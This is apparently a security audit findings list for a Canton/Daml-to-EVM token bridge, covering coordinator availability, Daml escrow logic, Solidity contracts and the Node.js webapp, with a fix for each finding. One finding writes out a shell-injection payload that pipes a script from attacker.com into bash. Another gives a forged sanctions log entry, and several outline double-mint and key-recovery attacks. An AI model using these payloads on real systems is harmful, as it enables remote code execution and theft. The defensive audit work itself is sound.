The coordinator is a single Node.js process with no leader election mechanism, no shared external state store for in-flight operations, no active-passive failover, no health check endpoint (/health or /ready route), and no liveness probe for the CantonWatcher poll loop. Kubernetes liveness probes and load balancers cannot distinguish a zombie coordinator (event loop live, watcher stopped) from a healthy one.

The coordinator enters a zombie state: the HTTP server is responsive (process alive) but CantonWatcher's poll loop has silently stopped due to an unhandled promise rejection. Kubernetes liveness probes pass. No bridge operations are processed. The state persists indefinitely until a human investigates. Any in-flight operations are permanently stuck.

Critical — implement Option B (on-chain dedup by escrowContractId) as safety net plus Option A (Redis leader election) as operational HA layer; add /health endpoint with liveness probe for watcher loop.

The codebase contains no systemd unit file, no PM2 configuration, no Dockerfile with restart policy, no supervisord.conf, and no SIGTERM handler for graceful shutdown. If the coordinator crashes, it stays down until a human restarts it. BridgeOperation contracts accumulate on Canton during downtime. Manual restart causes a thundering herd on validators as all queued operations are retried simultaneously.

Coordinator crashes in production. No supervisor restarts it. Bridge is down until an operator notices (no alerting). When manually restarted without backoff, all accumulated BridgeOperation contracts are retried at once. Combined with the nonce-reset double-mint issue, each restart attempt during rapid crash-loop can mint a fresh set of double-mints before the crash recurs.

High — add PM2 ecosystem.config.js or systemd unit with exponential backoff; implement SIGTERM handler that drains in-flight operations; add process health check that fails if watcher poll loop stalls.

ApplyTransactionWithReceipt in ZenithVB.daml builds its receipt with success=True and logs=[] hardcoded. Both BridgeIn and VerifiedBridgeOut check assertMsg 'EVM execution failed' receipt.success. Because success is always True, this assertion can never fail. A failed EVM mint or burn transaction does not roll back the Canton side.

For VerifiedBridgeOut: the BridgeEscrowHolding is released to the recipient via ReleaseFromEscrow even if the EVM burn failed. The recipient receives Canton tokens without burning EVM tokens — supply invariant violated, tokens duplicated. For BridgeIn: user's Canton tokens are permanently stuck in escrow if the EVM mint fails silently, with no automatic rollback.

Critical — until structured receipt parsing is available, add failure sentinel validation (e.g., reject state roots prefixed 'FAIL:'); at minimum add explicit code comment documenting the supply duplication risk.

In BridgeIn, the addressMappingCid is fetched and its evmAddress used as the EVM mint recipient. There is no assertion that mapping.cantonParty == allocation.owner. The admin controls which addressMappingCid to pass. A malicious or compromised admin can pass an address mapping belonging to a different party, routing EVM mint proceeds to an arbitrary address while the user's Canton tokens are correctly locked.

1. User Alice allocates 100 tokens. 2. Admin exercises BridgeIn but passes AddressMapping for Eve (attacker) as addressMappingCid. 3. EVM mints 100 tokens to Eve.evmAddress. 4. Alice's Canton tokens are in escrow with no recourse. 5. Eve has the EVM tokens. The same validation gap exists in BridgeOut and VerifiedBridgeOut.

High — add assertMsg 'Address mapping must be for allocation owner' (mapping.cantonParty == allocation.owner) after fetching the mapping in BridgeIn, BridgeOut, and VerifiedBridgeOut.

MigrateRemoveValidator on ZenithVBState requires only a single executor validator to remove any other validator. There is no check that a threshold vote has been completed before calling this. Compare to ZenithGovernance.ExecuteRemoveValidator which requires a Proposal with length votes >= config.threshold. The VB state migration choices are completely ungated from the governance flow.

A single rogue validator calls MigrateRemoveValidator to remove any other validator from ZenithVBState immediately, without governance approval. After removing enough validators to fall below threshold, the attacker gains unilateral control of VB state transitions. Similarly, MigrateObservers allows a single validator to change the observer set unilaterally.

High — add proposalCid parameter to MigrateRemoveValidator and validate that the proposal has reached threshold and matches the target, mirroring ExecuteRemoveValidator in Governance.daml.

AcceptGovernance prepends new acceptors to acceptedBy. WithdrawGovernanceProposal checks that the withdrawer == acceptedBy.head, but head is the LAST party to accept, not the initiator. After any other validator accepts, the initiator permanently loses withdrawal rights and the last-accepting validator gains them. The identical bug exists in ZenithVB.daml's WithdrawVBProposal.

Initiator V1 creates a governance proposal (acceptedBy=[V1]). V2 accepts (acceptedBy=[V2,V1]). V1 can no longer withdraw. V2 can withdraw the proposal unilaterally, disrupting governance initialization. An attacker who accepts last gains undisclosed control over proposal withdrawal for all pending governance and VB proposals.

High — change prepend to append (acceptedBy ++ [validator]) so acceptedBy.head remains the initiator throughout; or store initiator as a separate field.

AssetConfig declares mintCap : Optional Int as a per-asset mint cap (None = unlimited). However, BridgeIn fetches the asset config but never checks asset.mintCap. The cap is silently ignored. Any amount can be bridged in regardless of the configured cap.

An operator deploys the bridge with mintCap=1000000 per transaction for compliance reasons. A user bridges in 10000000 tokens in a single transaction. BridgeIn succeeds without checking the cap. The compliance control is bypassed silently. No error is raised and no log is produced.

Medium — add mintCap enforcement after fetching the asset in BridgeIn: case asset.mintCap of Some cap -> assertMsg 'Mint cap exceeded' (allocation.amount <= cap); None -> pure ().

The externalCall returns a Text stored directly as stateRoot with no validation that it is a well-formed 32-byte hex string (64 hex characters). If the external EVM service returns an error message, partial result, or empty string, the VB state root becomes garbage, corrupting all future state transitions and proof verifications.

An EVM service experiencing an error returns the string 'INTERNAL_ERROR' as the state root. ZenithVBState is updated with stateRoot='INTERNAL_ERROR'. All future ApplyTransaction calls that validate against this state root fail. The VB state machine is effectively bricked until manually corrected by governance.

Medium — add assertMsg 'Invalid state root format' (DA.Text.length newStateRoot == 64) and optionally validate hex character content.

Two choices on BridgeEscrowHolding use different comparison operators for the same expiresAt field: ExpireBridgeEscrow uses now > expiresAt (strict), CancelBridgeOperation uses now >= expiresAt (inclusive). At time T==expiresAt, CancelBridgeOperation succeeds but ExpireBridgeEscrow does not. Additionally, CancelBridgeIn in BridgeOperation uses now > expiresAt — three different behaviors at the exact expiry moment.

Off-chain tooling selects which choice to call based on wall clock time. At exactly expiresAt, the tooling calls ExpireBridgeEscrow (the custody-side choice) but it fails with 'not yet expired.' The tooling falls back to CancelBridgeOperation but this choice releases tokens differently from ExpireBridgeEscrow. Inconsistent behavior around the expiry boundary causes recovery failures and confuses operators.

Medium — standardize to now >= expiresAt across all expiry checks, or document explicitly which is authoritative and why the discrepancy exists.

BridgeIn submits evmMintTxData to the EVM but performs no on-ledger check that this transaction data encodes a mint of allocation.amount tokens to evmRecipient. The admin controls evmMintTxData and could submit a transaction that mints a different amount, mints to a different EVM address, or calls a completely different EVM contract function. On-ledger validation is absent; only off-chain coordinator and EVM BridgeVault M-of-N signature provide defense.

A compromised admin exercises BridgeIn with evmMintTxData encoding a mint of 1 token to their own address, while the allocation.amount is 1000. Canton commits the transaction (no on-ledger check), the BridgeEscrowHolding locks 1000 tokens, but the EVM mints only 1 token to the attacker. The supply invariant is immediately violated.

Medium — encode expected mint amount and recipient as Daml fields in an on-chain intent record; require EVM to emit verifiable event once receipt parsing is implemented (see RT2-BUGS-1-CRIT1).

Each proposal creation choice archives the current ZenithGovernance contract and creates a new one with an incremented nextProposalNum. Execution choices validate proposal.currentConfig == config against the CURRENT governance config. If a new proposal is created (archiving governance and creating a new config snapshot), all prior proposals become unexecutable as their currentConfig no longer matches.

Validator A creates a legitimate governance proposal. Validator B (rogue or Byzantine) immediately creates a trivial new proposal, archiving the governance contract. Validator A's proposal now has currentConfig that no longer matches the new state and can never be executed, even if it receives threshold votes. B can repeat this indefinitely, blocking all governance proposals.

Medium — allow multiple simultaneous proposals without archiving the governance contract; use proposal counter as primary key rather than archiving governance on each proposal creation.

ZenithVBState has signatory validators (all validators). Within the Daml execution model, a single validator can submit a state transition because the archive operation uses the authority inherited from all validators as signatories of the exercised contract. The multi-validator security comes exclusively from Canton topology layer (which requires M-of-N Canton party signatures). No belt-and-suspenders on-ledger check of M-of-N for VB state transitions exists unlike VerifiedBridgeOut.

If Canton topology is misconfigured (threshold set to 1 or enforcement disabled), a single validator or delegate can freely update the VB state root without any on-ledger resistance. There is no secondary enforcement mechanism on the Daml side to catch topology misconfiguration.

Medium — document explicitly that M-of-N security depends on Canton topology configuration; add deployment invariant verification checking topology threshold equals governance threshold.

operationId is a free Text field passed by the admin with no uniqueness constraint at the Daml level. Multiple BridgeOperation contracts can exist with the same operationId. Uniqueness is enforced only off-chain by the backend. A misconfigured backend or direct Canton command could create duplicate operation IDs, breaking audit trail integrity.

A backend bug generates duplicate operationId values across two different bridge operations. Audit tooling that correlates by operationId collapses the two operations into one record, losing one from the audit trail. Supply parity monitor miscounts operations. No direct financial exploit since Canton contract IDs remain unique.

Low — use Daml-enforced unique key mechanism or derive operationId deterministically from the allocationCid/escrowHoldingCid.

UpdateEvmAddress was hardened to require co-signing by cantonParty (Fix 3). However, RemoveMapping only requires controller admin, allowing the admin to silently delete a user's address mapping without their knowledge or consent. After removal, the user's BridgeIn would fail because no valid addressMappingCid exists for them.

A compromised admin removes a target user's AddressMapping without the user's knowledge. All subsequent bridge-in attempts by that user fail with 'contract not active' or similar error. The user cannot bridge until they re-register, and the admin can delete the new mapping again indefinitely, permanently blocking the user from bridging.

Low — require controller admin, cantonParty for RemoveMapping to match the UpdateEvmAddress hardening; or add notification mechanism so users detect mapping removal.

In Governance.daml ExecuteRemoveValidator, newThreshold = min config.threshold (length newValidators) is computed but never used. Only adjustedThreshold = calculateTwoThirdsThreshold (length newValidators) is actually applied. The dead binding shadows the actual threshold computation and could mislead a reader into believing the min() formula is the applied threshold.

A developer reading the code assumes the applied threshold is min(config.threshold, newValidatorCount) rather than calculateTwoThirdsThreshold(newValidatorCount). They write a test or deployment check against the wrong formula. In a future refactor, they mistakenly activate the dead variable, overriding the BFT-grade threshold with a potentially lower value.

Low — remove the dead newThreshold binding to prevent confusion.

BridgeOut and VerifiedBridgeOut create new BridgeOperation records for audit purposes containing escrowHoldingCid of the JUST-consumed BridgeEscrowHolding. CancelBridgeIn on these records will always fail with 'contract not active'. The original BridgeOperation (from BridgeIn) is never archived. After VerifiedBridgeOut, two BridgeOperation contracts exist for the same logical operation, both with callable but always-failing CancelBridgeIn choices.

An operator monitoring the ACS sees two BridgeOperation contracts for the same operation and believes one is a duplicate or error. They attempt CancelBridgeIn on both, both fail. Audit tooling that counts active BridgeOperation contracts overcounts by 1 per completed bridge-out, inflating apparent in-flight operation counts and confusing reconciliation.

Low — archive the original BridgeOperation when VerifiedBridgeOut succeeds, or use a separate template for completed operation records lacking the CancelBridgeIn choice.

evmAddress is stored as a raw Text with no format validation. An admin could create or update a mapping with an invalid EVM address (wrong length, non-hex, empty string). The invalid address would be used as the EVM mint recipient in BridgeIn, causing the EVM transaction to fail. Combined with the hardcoded success=True receipt bug (RT2-BUGS-1-CRIT1), a failed EVM transaction with success=True would result in locked funds with no valid EVM recipient.

Admin accidentally creates an AddressMapping with evmAddress='0x123' (too short). User initiates bridge-in. EVM rejects the invalid address. Receipt.success=True so Canton commits. User's 1000 tokens are locked in escrow indefinitely with no valid EVM recipient. Admin must manually exercise admin recovery to unlock.

Low — add ensure (DA.Text.length evmAddress == 40) or hex character validation to AddressMapping template and UpdateEvmAddress choice.

AddressMapping has a bridgeId field matching the bridge deployment. When fetching addressMappingCid in bridge choices, there is no check that mapping.bridgeId == bridgeId. An admin could pass an AddressMapping from a different bridge deployment, resulting in incorrect evmAddress values being used or recorded.

A multi-bridge deployment shares the same Canton ledger. An admin accidentally passes an AddressMapping from bridge-A in a BridgeIn transaction for bridge-B. The EVM mint goes to an address registered for bridge-A's EVM chain, which may be wrong or attacker-controlled. The error is not caught on-ledger.

Low — add assertMsg 'Address mapping bridgeId mismatch' (mapping.bridgeId == bridgeId) after fetching the mapping in all bridge choices.

Both BridgeVault and BridgedTokenV1 implement asymmetric pause: any PAUSER_ROLE holder can pause instantly (no quorum, no delay), but unpause requires the owner (TimelockController) which enforces a mandatory 48-hour delay. Any PAUSER_ROLE key compromise guarantees a minimum 48-hour outage. Key revocation also requires the 48h Timelock, so the attacker can repeat the attack after recovery if the key is not revoked in time.

Attacker compromises one PAUSER_ROLE key on BridgeVault. Attacker calls pause() — instant, no quorum. All executeMint calls revert with EnforcedPause. Recovery: Safe multisig must propose unpause to TimelockController, wait 48h, then execute. Attacker repeats after recovery. Each cycle forces 48h+ downtime.

High — require M-of-N (e.g., 2-of-3) PAUSER_ROLE signatures to pause; or allow Safe multisig to unpause directly bypassing the 48h delay; or add shorter timelock specifically for unpause.

DOMAIN_SEPARATOR is computed once at deployment from block.chainid (captured as immutable _chainId). If the EVM network undergoes a hard fork changing the chain ID, all existing validator signatures become permanently invalid because they were signed over the old DOMAIN_SEPARATOR. The bridge halts completely on the new chain with no migration path other than deploying a new BridgeVault.

EVM network undergoes a contentious hard fork that changes chainId. All in-flight MintIntent signatures signed over the old DOMAIN_SEPARATOR are invalid on the new chain. Validators must re-sign all pending intents from scratch. If the fork is live on two chains, the bridge on the new chain cannot function until a new BridgeVault is deployed and validators reconfigure.

Medium — document explicitly that contract is chain-specific and must be redeployed after chainId-changing hard fork; add migration runbook to SECURITY.md; consider using block.chainid dynamically in digest computation.

The ERC-7201 namespaced storage slot is hardcoded as a hex constant in BridgedToken.sol. If this constant is incorrectly computed, BridgedTokenStorage struct fields (bridgeMinter, decimals_) would occupy wrong storage slots, potentially overlapping with inherited upgradeable contract slots. No test in BridgeVaultTest.t.sol or BridgeInvariantTest.t.sol verifies this constant against the ERC-7201 formula.

An incorrect ERC-7201 constant causes bridgeMinter to overlap with an OZ internal address slot. Reads of bridgeMinter return a garbage address. The onlyMinter guard on mint() passes for wrong callers. Unauthorized parties can mint unlimited tokens. The collision is silent — no revert, no event — until the minting is detected externally.

Medium — add a Foundry test that independently computes the expected slot and asserts equality with the hardcoded constant; use forge inspect storage layout diff on upgrades.

BridgedTokenV1 inherits both UUPSUpgradeable and is intended to be deployed behind a BeaconProxy. When deployed behind a BeaconProxy and upgradeToAndCall is called, _upgradeTo writes newImpl to _IMPLEMENTATION_SLOT but BeaconProxy reads from _BEACON_SLOT. The upgrade call succeeds (no revert, emits Upgraded event) but the proxy continues using the beacon's implementation. The operator may believe they successfully upgraded an individual proxy when they did not.

During an emergency security patch, an operator calls upgradeToAndCall on a BeaconProxy-deployed instance to deploy a critical fix. The call succeeds with no error. The operator believes the fix is deployed. The proxy continues running the vulnerable old implementation. The security incident continues unmitigated.

Medium — add comments explaining that upgradeToAndCall is a no-op on BeaconProxy instances; add tests verifying BeaconProxy ignores _IMPLEMENTATION_SLOT writes; document beacon-to-UUPS migration procedure.

BridgedToken.sol comments state beacon ownership should be held by TimelockController (proposed by Safe multisig), but this is a deployment convention, not on-chain enforcement. If the beacon is deployed with an EOA as owner or if beacon ownership is transferred to an EOA through mistake, a single key compromise allows instant upgrade of ALL bridged token proxies to a malicious implementation, bypassing the 48h Timelock entirely.

During a hasty devnet-to-mainnet migration, the beacon is deployed with an EOA owner. Attacker compromises the EOA. Attacker calls beacon.upgradeTo(maliciousImpl). All BeaconProxy instances immediately use the malicious implementation. Malicious implementation removes onlyMinter guard, mints unlimited tokens, or redirects all transfers to the attacker. Attack is irreversible without deploying new beacon.

Medium — add deployment verification script asserting beacon.owner() == address(timelockController); add to production readiness checklist in SECURITY.md.

transferMintAuthority transfers mint rights to newVault with only a zero-address check. If newVault is an EOA, mint authority is permanently given to a private key holder outside any M-of-N governance. If newVault is a contract without executeMint logic, the bridge is permanently bricked (old vault loses mint rights, new vault cannot mint). Once executed, the old BridgeVault loses mint rights immediately.

A carelessly crafted governance proposal (which operators may not review carefully during the 48h window) transfers mint authority to an address that is actually an EOA. After the timelock executes, the EOA holder can mint unlimited tokens unilaterally. Recovery requires the new address (the EOA holder) to voluntarily transfer mint authority back, which they have no obligation to do.

Medium — verify newVault.code.length > 0 to reject EOAs; optionally call a view function on newVault to verify it's a valid BridgeVault; consider 2-step migration (set pending minter, then new vault claims it).

The rest of BridgeVault.sol uses custom errors (gas-efficient), but _recoverSigner uses legacy require with string messages for v and s validation. This costs more gas than custom errors and creates inconsistency in error handling. Callers catching errors by selector get Error(string) ABI-encoded errors instead of typed custom errors, making integration harder.

Off-chain monitoring and integration code catches executeMint reverts by error selector. When _recoverSigner triggers (invalid v or s value), the error arrives as Error(string) with no selector match. Monitoring code fails to classify the error, logs it as 'unknown revert', and may not trigger the appropriate alert for a potential signature manipulation attempt.

Low — replace require with custom errors InvalidVValue() and InvalidSValue() for consistency and gas efficiency.

In BridgeVault.sol, usedIntents[intentId]=true (state change) is correct before the external mint call. However, emit MintExecuted(...) occurs after the IBridgedToken(bridgedToken).mint(to, amount) external call. If nonReentrant is ever removed, a reentrancy callback executes before MintExecuted is emitted, potentially confusing off-chain monitors that rely on event ordering.

If the nonReentrant modifier is removed in a future refactor, a malicious BridgedToken implementation can reenter executeMint in the callback. MintExecuted has not yet been emitted for the first call, so the reentering call generates a second MintExecuted event that appears before the first. Off-chain monitors see events out of order, causing reconciliation failures.

Low — move emit MintExecuted(...) to just before the external mint call for strict CEI compliance and future-proofing.

addValidator has no maximum validator count check. While executeMint is bounded by signatures.length (not validatorCount), off-chain components querying the validator set have no upper bound. No event index on ValidatorAdded makes reconstructing the full set from logs expensive for large N.

A governance error adds validators in a loop, resulting in hundreds or thousands of validators in validatorSet. Off-chain monitoring that attempts to enumerate all validators by replaying ValidatorAdded events from genesis becomes extremely expensive. Future enumeration logic in upgrades may have unbounded gas costs.

Low — add MAX_VALIDATORS = 100 constant enforced in addValidator; reflects realistic operational limits and bounds gas costs for future enumeration logic.

In webapp/server.js, hex derived from user-supplied signedBurnTx (POST body) is interpolated directly into a shell command string via template literal with execSync. The only transformation is prepending 0x if absent, with no character validation. execSync uses shell by default, so shell metacharacters in the input are interpreted.

Attacker POSTs to /api/bridge/bridge-out-request with signedBurnTx='$(curl attacker.com/shell.sh | bash)#'. execSync passes this through /bin/sh, executing arbitrary commands as the Node.js process user. The BRIDGE_API_KEY auth gate limits this to authenticated callers, but a compromised API key or insider achieves full RCE on the coordinator host.

Critical — validate signedBurnTx against /^(0x)?[0-9a-fA-F]+$/ before use; replace execSync with execFile using explicit argument arrays (no shell invocation).

The validator endpoint checks isUsed(nonce), then performs await cantonSigner.signBytes(intentHash) (async suspension), then calls markUsed(nonce). Node.js is single-threaded but the event loop suspends at every await. Two simultaneous requests with the same nonce both pass the isUsed check before either reaches markUsed. Both receive valid signatures over the same intent, breaking the replay protection guarantee.

Attacker sends two identical POST /api/sign-settlement-intent requests concurrently with the same nonce. Both pass isUsed check (nonce not yet marked). Both suspend at the async signBytes call. Both resume and call markUsed. Both return valid signatures. The coordinator receives two valid signatures from the same validator for the same nonce, potentially double-counting towards threshold.

Critical — call addNonce (throws on duplicate) before the await, not after; use the throwing variant so duplicates are atomically rejected before signing begins.

The coordinator sends bridgeVaultAddress and chainId to the validator in the request body, but the validator ignores them when building the intent to hash. The resulting intentHash does not include deployment-binding fields. The returnedHashHex echoed back will not match the coordinator's intentHash, causing the signature to be discarded. Even if bypassed, verifySignature would fail as the validator signed a different digest.

All bridge-in settlements fail silently with 'Threshold not met' regardless of validator availability. The coordinator discards every validator signature because the echoed intentHash does not match. This is a silent, complete breakage of the M-of-N flow that cannot be detected without comparing hash values in debug logs.

Critical — add bridgeVaultAddress and chainId to makeIntent call in validator endpoint: const intent = makeIntent({ ..., bridgeVaultAddress, chainId }).

The sanctions screening middleware catches all exceptions and calls next(), allowing the bridge operation to proceed unchecked. If the external AML provider (Chainalysis/Elliptic) times out, returns an unexpected response, or throws for any reason, the bridge operation proceeds without sanctions screening. No metric or alert is emitted for screening failures.

A network partition between the bridge and AML provider causes all screening calls to throw. The catch block calls next() for every bridge operation. All bridge transactions bypass sanctions screening during the outage. A sanctioned address exploits this window to bridge funds. No alert fires; the outage is invisible to operators.

High — implement fail-closed mode for compliance environments: return 503 on screening exception; add circuit breaker + retry; at minimum emit metric/alert on screening failures so outages are detectable.

BRIDGE_KEY (the EVM bridge operator private key) is interpolated directly into the shell command string for cast mktx. On Linux, command arguments are visible to any process that can read /proc//cmdline, including other processes running as the same user, container escape scenarios, and monitoring/logging tools that capture process arguments.

A container monitoring sidecar or log aggregation tool captures process arguments from /proc. The BRIDGE_KEY appears in plaintext in the captured cmdline. The key is exfiltrated. The attacker can now sign arbitrary EVM transactions as the bridge operator EOA, bypassing all M-of-N controls for legacy cast-based operations.

High — pass BRIDGE_KEY via stdin or environment variable instead of command argument; use ethers.js/viem to sign transactions in-process without shelling out.

In bridge-reactor.js, if _settle() fails, the contractId is removed from _processing but remains in _seen. The next poll cycle skips it because it is in _seen. There is no mechanism to retry a failed settlement. Any transient failure (validator offline, EVM RPC timeout) permanently strands the corresponding BridgeOperation. Funds are locked in escrow with no automatic recovery path.

A transient EVM RPC timeout causes _settle() to fail for BridgeOperation #42. contractId is in _seen — never retried. User's funds are locked for up to 1 hour until the expiry job runs. If the expiry job also fails (see RT2-AVAIL-4-F4), funds are locked indefinitely. Admin must manually call /api/admin/recovery/cancel-bridge-in.

High — remove failed contractIds from _seen so they can be retried on next poll; add retry counter and circuit breaker to avoid infinite loops on permanent failures.

The Canton JWT is read once at startup and never refreshed. Canton JWTs are typically short-lived (24h or less). When the token expires mid-operation, all Canton HTTP API calls return 401 Unauthorized. The error propagates as a generic 500 or rejected promise with no retry logic. Active bridge operations in flight at expiry time are silently abandoned without alerting operators.

The Canton JWT expires 24 hours after deployment. All Canton operations (ACS queries, submitCommands) start returning 401. The CantonWatcher poll fails silently — no new operations are processed. Users see bridge operations hanging indefinitely. No alert fires. The bridge appears live (process running, HTTP server responding) but is completely non-functional.

High — implement JWT refresh from service account before expiry; decode exp claim at startup and log remaining TTL; emit alert when within 10% of expiry.

The sanctions screener logs subject (user-supplied EVM address or Canton party ID) directly without sanitization. An attacker can inject newlines, ANSI escape codes, or fake log entries to confuse log aggregation, hide malicious activity, or poison SIEM rules.

Attacker submits bridge request with EVM address '0xdeadbeef\n[sanctions] 2026-04-10 provider=mock type=evm-address subject=0xbad status=PASS'. Log aggregation receives a fake PASS log entry appearing to clear a sanctioned address. SIEM rule matching on '[sanctions].*status=PASS' is triggered for a malicious address. The real screening result for 0xdeadbeef is buried above the injected line.

Medium — strip or escape control characters from all logged values: const safe = (s) => String(s).replace(/[\r\n\t\x00-\x1f\x7f]/g, '').

supply-parity-monitor.js emits parity-violation but there is no listener in server.js that halts bridge operations. The event handler in server.js logs to console and broadcasts SSE — but if no admin dashboard is connected, the SSE event is silently dropped. A real supply divergence (indicating theft or a critical bug) goes unacted upon. The monitor also triggers on any non-zero delta including in-flight operations.

A double-mint bug fires. The parity monitor emits parity-violation. No admin dashboard is connected — SSE event dropped. console.error appears in logs but no alert triggers. The bridge continues processing new operations on top of the already-violated supply invariant. The divergence compounds with every subsequent bridge-in until manually discovered.

Medium — register parity-violation listener that pauses new operations after N confirmed violations; add debounce of >=2 poll cycles for in-flight tolerance; connect alerting system.

bridge-reactor.js generates nonces as BigInt(Date.now()). The nonce store prunes entries older than 1 hour. After a process restart, _seen is reset. If a BridgeOperation contract is still in the ACS (settlement failed to archive it), it is re-emitted. A new Date.now() nonce is generated. If the previous nonce was pruned (>1 hour ago), the new nonce is accepted as fresh, enabling two valid sig bundles over different intents for the same escrow.

Bridge-in operation fails partially (Canton contract alive but EVM mint submitted). Coordinator crashes for 70 minutes (pruning window). Restarts: new nonce T2 generated (old T1 pruned). Validators accept T2. BridgeVault checks usedIntents[hash(T2)] — not set. Second mint succeeds. Escrow is backed by only one lot of Canton tokens but two lots of EVM tokens have been minted.

Medium — use persistent monotonic counter from SqliteNonceStore.nextNonce() instead of Date.now(); increase prune window to 7+ days; cross-reference nonces with contractIds in the store.

server.js uses spawn('just', ['bridge-in', baseUnits, signedTx], { shell: true }). shell:true passes all arguments through /bin/sh. signedTx is produced by cast mktx (server's own code), so it is not directly user-controlled. However, a malicious EVM_RPC endpoint could return a response that causes cast to emit shell metacharacters in its output, which then become injected arguments.

A malicious EVM RPC endpoint returns a crafted response that causes cast mktx to output a signedTx value containing shell metacharacters. The coordinator passes this to spawn with shell:true. The metacharacters are interpreted by /bin/sh, executing attacker-controlled commands as the coordinator process user.

Medium — use execFile instead of spawn with shell:true; explicitly validate signedTx as a hex string before use.

In admin-routes.js, the bearer token is compared with ADMIN_API_KEY using JavaScript string !== which is not constant-time. An attacker sending many requests can use timing measurements to infer the ADMIN_API_KEY one character at a time via timing oracle.

Attacker sends thousands of requests with varying bearer token values and measures response times precisely. Correct characters cause slightly longer comparison time before the !== returns true. Statistical analysis across many requests recovers the ADMIN_API_KEY character by character. Attacker then accesses all admin endpoints with the recovered key.

Low — use crypto.timingSafeEqual(Buffer.from(token), Buffer.from(ADMIN_API_KEY)) padded to equal length for constant-time comparison.

The validator endpoint uses Number(amount) <= 0 for validation. Number() loses precision beyond 2^53-1. A very large amount string passes > 0 but is rounded. The actual BigInt(amount) parsing happens in makeIntent. The validation could be bypassed with scientific notation like '0e0' — Number('0e0') === 0 but BigInt('0e0') throws, caught by try/catch in the coordinator path but not at the validator endpoint using this check.

Attacker submits amount='0e0' (evaluates to Number 0, bypasses > 0 check). BigInt('0e0') throws during intent construction. The exception propagates as an unhandled error, crashing the signing handler. If many such requests are sent concurrently, the validator endpoint becomes unresponsive due to uncaught exceptions in async handlers.

Low — use BigInt-native validation: if (!amount || BigInt(amount) <= 0n) inside a try/catch.

The https.Agent used for mTLS connections to validators does not explicitly set rejectUnauthorized: true. While it defaults to true in Node.js, if NODE_TLS_REJECT_UNAUTHORIZED=0 is set in the environment (common debugging override), this silently disables certificate validation for all HTTPS requests, allowing MITM attacks against validator connections.

An operator sets NODE_TLS_REJECT_UNAUTHORIZED=0 to debug a certificate issue and forgets to unset it. All subsequent coordinator-to-validator mTLS connections bypass certificate validation. A network-level MITM attacker can intercept signing requests, substitute their own signing requests, and collect valid signatures over attacker-crafted intents.

Low — explicitly set rejectUnauthorized: true in the https.Agent options so the security property is not accidentally overridden by environment variables.

After a successful BridgeIn, EVM tokens are minted (irreversible) and BridgeEscrowHolding is created with expiresAt=now+1h. After expiresAt, the user (cantonParty) can exercise CancelBridgeIn which calls ReleaseFromEscrow and returns Canton tokens. CancelBridgeIn contains no check that EVM tokens have been burned. The evmBurnTxHash fields stored in BridgeEscrowHolding are never verified at cancellation time.

1. User bridges in 1000 tokens — EVM tokens minted. 2. User waits 1 hour. 3. User calls CancelBridgeIn(forceCancel=False) — 1000 Canton tokens returned. 4. User still holds 1000 EVM tokens. 5. Net gain: 1000 Canton tokens from thin air; EVM supply is unbacked by any Canton collateral.

Critical — CancelBridgeIn must verify on-chain that EVM tokens have been burned (usedIntents check on BridgeVault) before releasing Canton escrow, or require admin gating that verifies EVM burn first.

The /api/bridge/bridge-out-request endpoint implements bridge-out in two sequential phases with no atomicity guarantee: Phase 1 (EVM burn via cast publish) is irreversible. Phase 2 (Canton escrow release via VerifiedBridgeOut) can fail for many reasons. If Phase 2 fails after Phase 1 completes, the user has permanently lost their EVM tokens with no recovery mechanism. SECURITY.md's claim of idempotency is false — re-POST calls cast publish again and EVM rejects with 'nonce already used' before reaching the Canton phase.

1. User initiates bridge-out. 2. EVM burn confirms (irreversible). 3. Coordinator crashes (or Canton timeout / node offline / VerifiedBridgeOut rejection). 4. Canton escrow is NOT released. 5. User has lost EVM tokens permanently. 6. Re-POST fails at EVM phase (nonce used). 7. Admin must manually exercise emergency recovery on Canton.

Critical — perform VerifiedBridgeOut on Canton first (which atomically submits EVM burn via ZenithVB), or implement persistent operation journal that records burn tx hash and can retry Canton-only phase independently.

The bridge-out-request handler constructs the SettlementIntent with user-supplied amount from the HTTP request body, not from parsed burn event logs. SECURITY.md states the bridge parses burn events to extract authoritative amount, but this check is NOT implemented. cast receipt is called for confirmation but the Transfer(user, address(0), amount) event is never parsed to validate the actual burned amount.

1. User holds 1000 EVM tokens + 1000-token Canton escrow. 2. User constructs burn tx for 1 token. 3. POSTs bridge-out-request with signedBurnTx= and amount=1000. 4. Server confirms 1-token burn. 5. Intent built with amount=1000. 6. Validators sign unverified amount. 7. Canton releases 1000-token escrow. 8. Net gain: 999 EVM tokens + 1000 Canton tokens.

High — parse the Transfer event from the burn tx receipt, extract actual burned amount, and assert it equals the escrow holding amount before building the intent.

bridge-reactor.js builds the settlement intent using the BridgeOperation contractId as escrowContractId. But BridgeOperation and BridgeEscrowHolding are different contracts with different contract IDs. Fix 1 in VerifiedBridgeOut requires: assertMsg (show escrowHoldingCid == intentEscrowContractId). These never match. Every reactor-driven settlement is rejected on Canton. Additionally for bridge-in, the evmTxData in BridgeOperation was already used by the atomic BridgeIn, so BridgeVault reverts with IntentAlreadyUsed on resubmission.

The bridge-reactor is non-functional for both bridge directions in the current architecture. All bridge-in settlements fail with Canton rejection (CID mismatch). All bridge-out settlements fail with IntentAlreadyUsed. The bridge appears to process operations (collects signatures, submits transactions) but all operations fail silently at the Canton/EVM layer.

High — reactor must use BridgeEscrowHolding contractId (not BridgeOperation contractId) as escrowContractId in the intent; must not re-submit already-executed BridgeIn EVM tx data.

The bridge-out path waits for cast receipt confirmation (1 block) before proceeding to Canton release. EVM finalization requires more than 1 confirmation to be safe against reorgs. If the burn tx is reverted by a reorg after the Canton escrow has been released, the user retains both their EVM tokens (burn tx reverted) and their Canton tokens (escrow released). No reorg detection or rollback mechanism exists.

1. Burn tx confirmed in block N. 2. Server proceeds to collect sigs and submit VerifiedBridgeOut on Canton. 3. EVM reorg reverts block N — burn tx never happened. 4. Canton escrow is released (or release is in flight). 5. EVM tokens re-appear in user's wallet. 6. User has both EVM tokens and Canton tokens. 7. Bridge supply invariant violated with no detection mechanism.

High — wait for sufficient EVM finality confirmations before proceeding to Canton release; add reorg detection by monitoring the EVM chain for the burn tx block being orphaned; document whether Zenith provides instant finality.

When a user creates an Allocation (Step 1 of bridge-in), the Allocation contract has beneficiary=BridgeOperator and no expiry. If BridgeWorkflow.BridgeIn is never called (admin offline, coordinator bug, bridge paused), the Allocation sits permanently. The user has no user-exercisable choice to cancel the Allocation and recover their FungibleHolding. CancelBridgeIn only applies to BridgeOperation contracts (post-BridgeIn).

